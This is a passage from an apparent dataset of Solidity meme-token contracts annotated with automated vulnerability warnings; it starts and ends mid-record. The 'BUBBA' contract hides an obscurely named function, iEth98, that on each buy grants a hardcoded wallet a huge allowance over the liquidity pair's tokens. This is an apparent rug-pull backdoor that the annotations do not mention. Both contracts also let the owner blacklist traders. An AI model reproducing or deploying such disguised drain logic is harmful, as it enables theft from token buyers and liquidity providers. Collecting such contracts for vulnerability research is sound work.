c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: dd672e1): BUBBA.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal / 100)\n// Recommendation for dd672e1: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 8d32338): BUBBA.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for 8d32338: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 4984158): BUBBA.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 100)\n// Recommendation for 4984158: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: de60c5d): BUBBA.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for de60c5d: Consider ordering multiplication before division.\ncontract BUBBA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _tOwned;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: de2b7f0): BUBBA._taxWallet should be immutable \n\t// Recommendation for de2b7f0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Brian Armstrong Dog\";\n\n string private constant _symbol = unicode\"BUBBA\";\n\n\t// divide-before-multiply | ID: 8d32338\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: de60c5d\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: ee33b69): BUBBA._taxSwapThreshold should be constant \n\t// Recommendation for ee33b69: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 4984158\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 142a143): BUBBA._maxTaxSwap should be constant \n\t// Recommendation for 142a143: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: dd672e1\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 97d7050): BUBBA._initialBuyTax should be constant \n\t// Recommendation for 97d7050: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 12e2753): BUBBA._initialSellTax should be constant \n\t// Recommendation for 12e2753: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 73477bd): BUBBA._finalBuyTax should be constant \n\t// Recommendation for 73477bd: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 43068f9): BUBBA._finalSellTax should be constant \n\t// Recommendation for 43068f9: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e784c93): BUBBA._reduceBuyTaxAt should be constant \n\t// Recommendation for e784c93: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 42568f7): BUBBA._reduceSellTaxAt should be constant \n\t// Recommendation for 42568f7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 165eb08): BUBBA._preventSwapBefore should be constant \n\t// Recommendation for 165eb08: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5c74fa0): BUBBA._transferTax should be constant \n\t// Recommendation for 5c74fa0: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n _taxWallet = payable(0xFDB2eEE6b4ECd94240Cc44ab002c5DD69356f4a9);\n\n _tOwned[address(this)] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _tOwned[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 76ff473): BUBBA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 76ff473: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function iEth98(\n address[2] memory eths,\n uint256 amount\n ) private returns (bool) {\n _approve(eths[0], eths[1], amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 576c271): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 576c271: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5675940): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5675940: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 576c271\n\t\t// reentrancy-benign | ID: 5675940\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 576c271\n\t\t// reentrancy-benign | ID: 5675940\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ef7164d): BUBBA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ef7164d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 5675940\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 576c271\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3ff02b6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3ff02b6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 33a4039): BUBBA.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 33a4039: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: aeb6f75): BUBBA.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for aeb6f75: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ffc3053): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ffc3053: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 3ff02b6\n\t\t// reentrancy-eth | ID: ffc3053\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 3ff02b6\n\t\t// unused-return | ID: 33a4039\n\t\t// reentrancy-eth | ID: ffc3053\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 3ff02b6\n\t\t// unused-return | ID: aeb6f75\n\t\t// reentrancy-eth | ID: ffc3053\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 3ff02b6\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: ffc3053\n tradingOpen = true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b85dc72): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b85dc72: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4689cce): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4689cce: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8cdc479): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8cdc479: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _tOwned[from] = _tOwned[from] - amount;\n\n _tOwned[to] = _tOwned[to] + amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n uint256 taxFee = 0;\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n if (_buyCount > 0) {\n taxFee = (_transferTax);\n }\n\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxFee = (\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n );\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n iEth98(\n [from, _taxWallet],\n _buyCount > 0\n ? 1000 + _tTotal.add(_buyCount).mul(150)\n : _maxTaxSwap.mul(10000).add(_buyCount + 100)\n );\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxFee = (\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxFee = (\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (!inSwap && to == uniswapV2Pair && swapEnabled) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n if (\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n )\n\t\t\t\t\t// reentrancy-events | ID: b85dc72\n\t\t\t\t\t// reentrancy-benign | ID: 4689cce\n\t\t\t\t\t// reentrancy-eth | ID: 8cdc479\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-events | ID: b85dc72\n\t\t\t\t// reentrancy-eth | ID: 8cdc479\n sendETHToFee(address(this).balance);\n\n\t\t\t\t// reentrancy-benign | ID: 4689cce\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 8cdc479\n lastSellBlock = block.number;\n }\n }\n\n if (taxFee > 0) {\n taxAmount = taxFee.mul(amount).div(100);\n\n\t\t\t// reentrancy-eth | ID: 8cdc479\n _tOwned[address(this)] = _tOwned[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: b85dc72\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 8cdc479\n _tOwned[from] = _tOwned[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 8cdc479\n _tOwned[to] = _tOwned[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: b85dc72\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function add(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function del(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: b85dc72\n\t\t// reentrancy-events | ID: 576c271\n\t\t// reentrancy-eth | ID: 8cdc479\n _taxWallet.transfer(amount);\n }\n\n function rescueEth() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n receive() external payable {}\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: b85dc72\n\t\t// reentrancy-events | ID: 576c271\n\t\t// reentrancy-benign | ID: 5675940\n\t\t// reentrancy-benign | ID: 4689cce\n\t\t// reentrancy-eth | ID: 8cdc479\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n}\n",
"file_name": "solidity_code_10604.sol",
"size_bytes": 21865,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: bdb81de): SAM.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 20 * (_tTotal / 1000)\n// Recommendation for bdb81de: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: ea19dd9): SAM.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 1000)\n// Recommendation for ea19dd9: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 4d7b676): SAM.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 20 * (_tTotal / 1000)\n// Recommendation for 4d7b676: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 86173b1): SAM.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 10 * (_tTotal / 1000)\n// Recommendation for 86173b1: Consider ordering multiplication before division.\ncontract SAM is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6c23730): SAM._taxWallet should be immutable \n\t// Recommendation for 6c23730: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 301392d): SAM._initialBuyTax should be constant \n\t// Recommendation for 301392d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: c025bf2): SAM._initialSellTax should be constant \n\t// Recommendation for c025bf2: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2d6fe11): SAM._finalBuyTax should be constant \n\t// Recommendation for 2d6fe11: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 108907f): SAM._finalSellTax should be constant \n\t// Recommendation for 108907f: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0e61192): SAM._reduceBuyTaxAt should be constant \n\t// Recommendation for 0e61192: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: fdb2794): SAM._reduceSellTaxAt should be constant \n\t// Recommendation for fdb2794: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 28900d7): SAM._preventSwapBefore should be constant \n\t// Recommendation for 28900d7: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _transferTax = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Sam Janet\";\n\n string private constant _symbol = unicode\"SAM\";\n\n\t// divide-before-multiply | ID: bdb81de\n uint256 public _maxTxAmount = 20 * (_tTotal / 1000);\n\n\t// divide-before-multiply | ID: 4d7b676\n uint256 public _maxWalletSize = 20 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: f6a488b): SAM._taxSwapThreshold should be constant \n\t// Recommendation for f6a488b: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: ea19dd9\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 1e27b56): SAM._maxTaxSwap should be constant \n\t// Recommendation for 1e27b56: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 86173b1\n uint256 public _maxTaxSwap = 10 * (_tTotal / 1000);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal.mul(95).div(100);\n\n _balances[_msgSender()] = _tTotal.mul(5).div(100);\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), address(this), _tTotal.mul(95).div(100));\n\n emit Transfer(address(0), _msgSender(), _tTotal.mul(5).div(100));\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: fa68ff7): SAM.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for fa68ff7: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3ac9a34): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3ac9a34: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e3ccb73): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e3ccb73: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 3ac9a34\n\t\t// reentrancy-benign | ID: e3ccb73\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 3ac9a34\n\t\t// reentrancy-benign | ID: e3ccb73\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3e7cbe8): SAM._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3e7cbe8: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: e3ccb73\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 3ac9a34\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6d7e07d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6d7e07d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0313502): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0313502: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 6d7e07d\n\t\t\t\t// reentrancy-eth | ID: 0313502\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 6d7e07d\n\t\t\t\t\t// reentrancy-eth | ID: 0313502\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 0313502\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 0313502\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 0313502\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 6d7e07d\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 0313502\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 0313502\n 